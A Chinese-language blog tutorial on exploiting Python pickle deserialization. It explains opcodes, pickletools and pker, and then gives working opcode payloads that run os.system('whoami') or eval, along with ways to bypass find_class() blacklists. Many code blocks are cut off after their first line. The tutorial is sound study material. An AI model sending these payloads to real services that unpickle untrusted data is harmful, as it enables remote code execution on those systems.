pickle反序列化
# pickle
pickle 是 Python 的一个库,可以对一个对象进行序列化和反序列化操作。其中 __reduce__
魔法函数会在一个对象被反序列化时自动执行,我们可以通过在 __reduce__
魔法函数内植入恶意代码的方式进行任意命令执行。通常会利用到 Python 的反弹 shell.
# 关于序列化和反序列化的函数
pickle.dump()
pickle.load()
pickle.dumps()
pickle.loads()
其中两个 dump 函数是把 python 对象转换为二进制对象的,两个 load 函数是把二进制对象转换为 python 对象的.
而 s 函数是指对字符串进行反序列化和序列化操作,另外两个函数是对文件进行操作.
# Python 魔术方法
pickle.loads()
会在反序列化一个实例时自动引入没有引入的库.
构造方法 __new__
- 在实例化一个类时自动被调用,是类的构造方法.
- 可以通过重写
__new__
自定义类的实例化过程
初始化方法 __init__
- 在
__new__
方法之后被调用,主要负责定义类的属性,以初始化实例
析构方法 __del__
- 在实例将被销毁时调用
- 只在实例的所有调用结束后才会被调用
__getattr__
- 获取不存在的对象属性时被触发
- 存在返回值
__setattr__
- 设置对象成员值的时候触发
- 传入一个 self, 一个要设置的属性名称,一个属性的值
__repr__
- 在实例被传入
repr()
时被调用 - 必须返回字符串
__call__
- 把对象当作函数调用时触发
__len__
- 被传入
len()
时调用 - 返回一个整型
__str__
- 被
str()
,format()
,print()
调用时调用,返回一个字符串
# Python 特殊属性
-
object.__dict__
一个字典或其他类型的映射对象,用于存储对象的(可写)属性。
-
instance._class_
类实例所属的类。
-
class._bases_
由类对象的基类所组成的元组。
-
definition._name_
类、函数、方法、描述器或生成器实例的名称。
-
definition._qualname_
类、函数、方法、描述器或生成器实例的 qualified name 。
# PVM
pickle 是一种栈语言,它由一串串 opcode(指令集)组成。该语言的解析是依靠 Pickle Virtual Machine (PVM)进行的.
pickle 实际上可以看作一种独立的语言,通过对 opcode
的编写可以进行 Python 代码执行、覆盖变量等操作。直接编写的 opcode
灵活性比使用 pickle 序列化生成的代码更高,并且有的代码不能通过 pickle 序列化得到(pickle 解析能力大于 pickle 生成能力)。
PVM 由以下三部分组成
- 指令处理器:从流中读取
opcode
和参数,并对其进行解释处理。重复这个动作,直到遇到。这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。 - stack:由 Python 的
list
实现,被用来临时存储数据、参数以及对象。 - memo:由 Python 的
dict
实现,为 PVM 的整个生命周期提供存储。
# 常用 opcode
在 Python 的 pickle.py 中,我们能够找到所有的 opcode 及其解释,常用的 opcode 如下,这里以 V0 版本为例
指令 | 描述 | 具体写法 | 栈上的变化 |
---|---|---|---|
c | 获取一个全局对象或 import 一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个 None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、' 等 python 字符串形式) | 获得的对象入栈 |
V | 实例化一个 UNICODE 字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个 int 对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个 float 对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为 pickle.loads () 的返回值 | . | 无 |
( | 向栈中压入一个 MARK 标记 | ( | MARK 标记入栈 |
t | 寻找栈中的上一个 MARK,并组合之间的数据为元组 | t | MARK 标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个 MARK,并组合之间的数据为列表 | l | MARK 标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对) | d | MARK 标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至 memo_n | pn\n | 无 |
g | 将 memo_n 的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名:属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为 key-value 对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中 | u | MARK 标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素 append 到第二个元素 (列表) 中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中 | e | MARK 标记以及被组合的数据出栈,列表被更新 |
比较全的指令集
1 | # Pickle opcodes. See pickletools.py for extensive docs. The listing |
# pickletools 的使用
pickletools 是 python 的一个内建模块,常用的方法有 pickletools.dis()
, 用于把一段 opcode 转换为易读的形式,如
1 | import pickletools |
输出
1 | 0: c GLOBAL '__main__ secret' |
# pker 的使用
pker 是一个可以把 python 语言翻译成 opcode 的工具.
pker 支持这三种操作
- 变量赋值:
- 左值可以是变量名,dict 或 list 的 item,对象成员
- 右值可以是基础类型字面量,函数调用
- 函数调用
- return:可返回 0~1 个参数
pker 内置了三个函数
1 | GLOBAL('os', 'system') => cos\nsystem\n |
可以用 return 返回一个对象
1 | return => . |
1 | #命令行下 |
# 利用
# 变量覆盖
假设存在类 Secret
, 类有一个 name
属性,那我们可以通过 pickle 反序列化修改这个属性的值.
1 | import pickle |
逐行解读一下 opcode
1 | opcode=b"""c__main__ |
c__main__
: 表示当前模块是 __main__
。
s
: 表示后面要存储字符串。
(S'name' S'Hu14T0n' db.
:
S'name'
: 这个字符串表示一个变量名。S'Hu14T0n'
: 这是变量的值。d
: 表示结束,通常用于表示字典的结尾。
# RCE
哎,宇宙的尽头就是个巨大的二进制,分析过程看的云里雾里
直接搞 payload 了,当脚本小子
# c
操作符
先提一下用的最多的 c
操作符,其中 find_class()
函数很关键,在对危险函数的过滤和绕过中也会提到这个函数.
1 | def load_global(self): |
c
操作符把 find_class()
函数返回的一个类对象压入栈,通过 __import__()
引入了模块并且通过 self.proto
判断 pickle 版本处理了不同版本的函数名称问题.
# R
操作符
e.g.
1 | cos |
# o
操作符
1 | def load_obj(self): |
寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象)
# i
操作符
1 | def load_inst(self): |
源码不是很容易懂, i
像是 o
和 c
的结合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象).
# b
操作符
简单地说, b
操作符有两种用法
- 向一个实例中插入属性,或覆盖属性
- 以一个实例的
__setstate__
属性为func
,b
的前一个元素当作arg
, 执行func(arg)
b
操作符的工作方式:
- 弹栈,此元素为
state
. - 取栈顶元素,此元素为
setstate
. 此元素可以是一个实例,也可以是一个字典。如果是一个实例,那么会尝试获取这个实例的__setstate__
属性的值. - 如果
__setstate__
存在,那么执行setstate(state)
. - 如果
__setstate__
不存在,判断state
的类型。如果是元组,并且元组中只有两个元素,那么就按顺序给state
和slotstate
赋元组中的元素,然后根据state
字典中的键值对给inst.__dict__
更新属性的值。如果slotstate
是一个字典,那么也根据slotstate
的键值对给inst
更新属性的值. - 如果不是元组,那么就根据
state
字典中的值更新inst.__dict__
的值.
b
操作符的使用模板
1 | b'c__main__\ns1nk\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.' |
用 pickletools 看一下过程.
1 | 0: c GLOBAL '__main__ s1nk' #引入一个模块 |
1 | c__main__ |
这个 payload 看似是可行的,但是具体运行时会报错 TypeError: 'mappingproxy' object does not support item assignment
.
在 Python 中,使用 class.__dict__
调用一个类的属性会返回一个不可变字典 (mappingproxy), 如果对这个字典进行更新就会报错。那么第一个 payload 为什么能用呢??
所有实例属性都存储在 dict 字典中,这就是一个常规的 dict,对于实例属性的维护即是从该字典中获取和修改
类属性使用的字典是一个 MappingProxyType 对象,它是一个不能 setattr 的字典。这意味着它对开发者是只读的.
也就是说,我们只能修改一个实例的 inst.__dict__
, 而不能修改一个类的 class.__dict__
.
重点关注 \x81
这个操作符。这个 payload 通过 \x81
操作符对 c
引入的 __main__.s1nk
实例化,进而实现了对 __main__.s1nk
一个实例的属性的修改.
# 重写 find_class()
的
# 思路一 获取危险函数
这种过滤终究是针对了 find_class()
函数,只要我们在使用 c
操作符和 i
时不违反规定即可。在本题中是不能通过 find_class()
函数调用黑名单中的函数.
和 SSTI 和沙箱逃逸的思路类似,可以通过构造类对象链调用某些方法中含有危险函数的类实现绕过。我们只需要构造形如 builtins.getattr(builtins,"eval")(command)
的 payload 即可实现绕过。在 pickle 反序列化中的一个难点就是如何用 opcode 表示出我们需要的命令.
利用 sys.module
获取危险函数
sys.module
是一个全局字典,其主要用于存储已经被加载到当前会话中的你快。这个知识点会在学习沙箱逃逸的时候重点学习. sys.modules
这个字典的键是模块名,值是模块本身。所以我们可以通过 get(sys.modules,"moduleName")
的方法获取危险模块
payload 是 builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)
写成 opcode 就是这样的
1 | geteval = b'''cbuiltins |
如果用 pker 生成 opcode 的话就是这样的
payload" getattr(builtins.dict,"get")(sys.modules,"os").system("whoami")
给 pker 的输入
1 | getattr=GLOBAL('builtins','getattr') |
用 pker 写成 opcode
1 | opcode=b"cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS'get'\ntRp2\n0csys\nmodules\np3\n0g2\n(g3\nS'os'\ntRp4\n0g0\n(g4\nS'system'\ntRp5\n0g5\n(S'whoami'\ntR." |
# 利用 builtins.globals()
获取危险函数.
还可以用 builtins 的 globals()
方法获取危险函数. globals()
方法返回一个字典
返回的字典包含了所有全局作用域内的名称(键)及其对应的值(值). 这个字典反映了当前模块全局命名空间的状态
其中固然也包含了一些危险模块.
pker 的输入
1 | globa1=GLOBAL("builtins","globals") |
生成的 opcode
1 | output=b'cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS\'get\'\ntRp4\n0g4\n(g1\nS\'__builtins__\'\ntRp5\n0g3\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.' |
R
操作符被过滤时,可以使用如下 payload:
1 | opcode=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbu |
# 思路二 获取没有被重写的 pickle.loads
函数
构造的 payload builtins.dict.get(builtins.globals(),"pickle").loads()
但是这个思路有个 bug, loads()
函数只能传入 byte
类型的字符串。所以对于 v0 的 opcode 必须要引入其他函数来改变字符串类型。这就导致可能不能很好地绕过 find_class()
的重写。好在在 v3 的 opcode 中有 B
和 C
操作符可以向栈中压入 byte 类型的字符串。但是 pker 不能直接调用操作符。就需要我们自己手搓.
pker 的输入
1 | funcglob=GLOBAL("builtins","globals") |
这里需要把生成的 opcode 的 S'bytestr'
改成 byte 字符串,用了 B
1 | opcode=b"cbuiltins\nglobals\np0\n0g0\n(tRp1\n0cbuiltins\ndict\np2\n0cbuiltins\ngetattr\np3\n0g3\n(g2\nS'get'\ntRp4\n0g4\n(g1\nS'pickle'\ntRp5\n0g3\n(g5\nS'loads'\ntRp6\n0g6\n(B\x0E\x00\x00\x00youropcodehere\ntR" |
# 绕过显式字符串检测
V
操作符可以进行 unicode 编码
1 | Vsecr\u0065t |
S
操作符可以识别十六进制
1 | S'\x73ecret' |
# 使用内置函数绕过
涉及到一对概念:可迭代对象 (iterable) 和迭代器 (iterator). 最经典的迭代器就是 python 中的 for 循环.
1 | for i in iterator |
在 python 中有很多可迭代对象
- 序列类型:
- 列表(List):
[1, 2, 3, 4, 5]
- 元组(Tuple):
(1, 2, 3)
- 字符串(String):
"Hello, World"
- 列表(List):
- 映射类型:
- 字典(Dictionary):
{1: 'One', 2: 'Two'}
- 注意:虽然字典本身不是可迭代的(字典迭代实质上是迭代其键,使用
keys()
、values()
或items()
方法可以分别迭代键、值或键值对),但从 Python 3.3 开始,字典也成为了可迭代对象,迭代时会返回其键。
- 字典(Dictionary):
- 集合类型:
- 集合(Set):
{1, 2, 3}
- frozenset(不可变集合):
frozenset({1, 2, 3})
- 集合(Set):
- 迭代器类型:
- 自定义迭代器类(实现了
__iter__()
和__next__()
方法) - 内置迭代器对象,如
range(5)
或者通过iter()
函数创建的迭代器
- 自定义迭代器类(实现了
- 文件对象:
- 打开的文本文件或二进制文件,可通过逐行读取进行迭代
- 生成器表达式:
(x*x for x in range(5))
- 其他内置可迭代对象:
- enumerate 对象 (
enumerate(list)
) - zip 对象 (
zip(list1, list2)
) - reversed 对象 (
reversed(list)
)
- enumerate 对象 (
只要一个对象实现了 __iter__()
方法且该方法返回一个迭代器对象,那么这个对象就被认为是可迭代的。在 Python 中,可以使用 isinstance(obj, collections.abc.Iterable)
来检查一个对象是否是可迭代的。
具体的利用参照这个 payload
1 | next(dir(sys.modules['os'])) |
直接手搓比用 pker 舒服多了
1 | opcode=b"""(((c__main__ |
只用到了 c
和 i
, 遥遥领先
# 使用类的 __new__()
构造方法绕过
着重注意这个操作符
1 | NEWOBJ = b'\x81'#(这个很有用) #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, *var1)生成实例化对象,然后将生成的对象压栈 |
他是可以触发类的 __new__()
函数的,所以在某些时候可以寻找可用的 __new__()
方法进行绕过。在下一个方法中,我们正是用了这一点才代替 __next__()
方法进行迭代.
# 使用 map()
, filter()
函数绕过
两个函数都是 python 的内置函数。首先来看 map()
和 filter()
是什么
map(function, iterable, *iterables)
返回一个将 function 应用于 iterable 的每一项,并产生其结果的迭代器。 如果传入了额外的 iterables 参数,则 function 必须接受相同个数的参数并被用于到从所有可迭代对象中并行获取的项。 当有多个可迭代对象时,当最短的可迭代对象耗尽则整个迭代将会停止。
filter(function, iterable)
使用 iterable 中 function 返回真值的元素构造一个迭代器。 iterable 可以是一个序列,一个支持迭代的容器或者一个迭代器。 如果 function 为
None
,则会使用标识号函数,也就是说,iterable 中所有具有假值的元素都将被移除。请注意,
filter(function, iterable)
相当于一个生成器表达式,当 function 不是None
的时候为(item for item in iterable if function(item))
;function 是None
的时候为(item for item in iterable if item)
。
注意这两个函数都返回一个迭代器,所以我们需要使用 list()
函数将其变为一个列表输出.
payload
1 | map(eval,[__import__("os").system("whoami")]) |
map()
和 filter()
创造的迭代器有一个叫做 " 懒惰” 的特性,也就是需要迭代一次,才能让 func
调用 iterator
里的值。所以我们就需要使用 __next__()
方法对 map()
创建的迭代器进行迭代
payload:
1 | bytes.__new__(bytes, map.__new__(map, eval, ['print(1)'])) # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next |
这样就可以通过 __new__()
方法对 map()
生成的迭代器进行迭代了.
opcode:
1 | opcode=b'''c__builtin__ |
还有
1 | opcode=b'''c__builtin__ |
# 后话
先知的文章质量真好啊
以上参考 pickle 反序列化漏洞基础知识与绕过简析 - 先知社区 (aliyun.com)
有点期待先知 2.0 了
- Title: pickle反序列化
- Author: Fc04dB
- Created at : 2024-10-20 11:11:28
- Updated at : 2024-10-20 21:13:32
- Link: https://redefine.ohevan.com/2024/10/20/pickle反序列化/
- License: This work is licensed under CC BY-NC-SA 4.0.